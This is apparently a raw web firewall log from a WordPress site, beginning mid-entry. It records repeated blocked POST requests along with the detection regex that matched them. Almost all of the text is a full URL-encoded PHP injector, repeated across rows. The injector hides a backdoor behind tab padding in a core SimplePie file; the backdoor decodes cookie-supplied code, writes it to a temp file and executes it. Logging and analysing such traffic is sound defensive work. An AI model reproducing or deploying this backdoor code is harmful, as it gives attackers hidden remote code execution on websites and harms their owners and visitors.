20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4313\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD20vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-dest:document\n\nCm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Sanitize.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-18%252B18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-8%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-79%252B82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-74%252B78%255D%2529%2529%2520%257B%2520%2524fac%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524reference%2529%2520%257B%2520%2524fac%2520%253D%2520%2524_COOKIE%253B%2520%2524dat%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527108304b6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524dat%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524ref%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524fac%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524dat%2529%2529%2520%257B%2520%2524marker%2520%253D%2520fopen%2528%2524dat%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524marker%252C%2520%2524ref%2529%253B%2520fclose%2528%2524marker%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524dat%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524dat%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524obj%2520%253D%2520%25224ab7ee940bbde3977cd474a8fb3b33f6%2522%253B%2520if%2520%2528%2521strncmp%2528%2524obj%252C%2520%2524fac%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:42:31","192.185.131.136","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ZD:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Sanitize.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-18%252B18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-8%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-79%252B82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-74%252B78%255D%2529%2529%2520%257B%2520%2524fac%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524reference%2529%2520%257B%2520%2524fac%2520%253D%2520%2524_COOKIE%253B%2520%2524dat%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527108304b6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524dat%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524ref%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524fac%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524dat%2529%2529%2520%257B%2520%2524marker%2520%253D%2520fopen%2528%2524dat%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524marker%252C%2520%2524ref%2529%253B%2520fclose%2528%2524marker%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524dat%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524dat%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524obj%2520%253D%2520%25224ab7ee940bbde3977cd474a8fb3b33f6%2522%253B%2520if%2520%2528%2521strncmp%2528%2524obj%252C%2520%2524fac%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJxDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\ncontent-length:4313\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\n\nZD=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Sanitize.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-18%252B18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-8%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-79%252B82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-74%252B78%255D%2529%2529%2520%257B%2520%2524fac%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524reference%2529%2520%257B%2520%2524fac%2520%253D%2520%2524_COOKIE%253B%2520%2524dat%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527108304b6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524dat%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524ref%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524fac%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524dat%2529%2529%2520%257B%2520%2524marker%2520%253D%2520fopen%2528%2524dat%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524marker%252C%2520%2524ref%2529%253B%2520fclose%2528%2524marker%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524dat%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524dat%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524obj%2520%253D%2520%25224ab7ee940bbde3977cd474a8fb3b33f6%2522%253B%2520if%2520%2528%2521strncmp%2528%2524obj%252C%2520%2524fac%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:42:51","94.46.170.157","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Sanitize.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-18%252B18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-8%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-79%252B82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-74%252B78%255D%2529%2529%2520%257B%2520%2524fac%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524reference%2529%2520%257B%2520%2524fac%2520%253D%2520%2524_COOKIE%253B%2520%2524dat%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527108304b6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524dat%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524ref%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524fac%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524dat%2529%2529%2520%257B%2520%2524marker%2520%253D%2520fopen%2528%2524dat%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524marker%252C%2520%2524ref%2529%253B%2520fclose%2528%2524marker%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524dat%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524dat%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524obj%2520%253D%2520%25224ab7ee940bbde3977cd474a8fb3b33f6%2522%253B%2520if%2520%2528%2521strncmp%2528%2524obj%252C%2520%2524fac%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\ncontent-length:4336\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-site:none\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Sanitize.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-18%252B18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-8%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-79%252B82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-74%252B78%255D%2529%2529%2520%257B%2520%2524fac%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524reference%2529%2520%257B%2520%2524fac%2520%253D%2520%2524_COOKIE%253B%2520%2524dat%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527108304b6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524dat%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524ref%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524fac%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524dat%2529%2529%2520%257B%2520%2524marker%2520%253D%2520fopen%2528%2524dat%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524marker%252C%2520%2524ref%2529%253B%2520fclose%2528%2524marker%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524dat%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524dat%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524obj%2520%253D%2520%25224ab7ee940bbde3977cd474a8fb3b33f6%2522%253B%2520if%2520%2528%2521strncmp%2528%2524obj%252C%2520%2524fac%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 11:43:10","88.135.73.76","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> nX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Sanitize.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-18%252B18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-8%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-79%252B82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-74%252B78%255D%2529%2529%2520%257B%2520%2524fac%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524reference%2529%2520%257B%2520%2524fac%2520%253D%2520%2524_COOKIE%253B%2520%2524dat%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527108304b6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524dat%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524ref%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524fac%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524dat%2529%2529%2520%257B%2520%2524marker%2520%253D%2520fopen%2528%2524dat%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524marker%252C%2520%2524ref%2529%253B%2520fclose%2528%2524marker%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524dat%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524dat%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524obj%2520%253D%2520%25224ab7ee940bbde3977cd474a8fb3b33f6%2522%253B%2520if%2520%2528%2521strncmp%2528%2524obj%252C%2520%2524fac%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 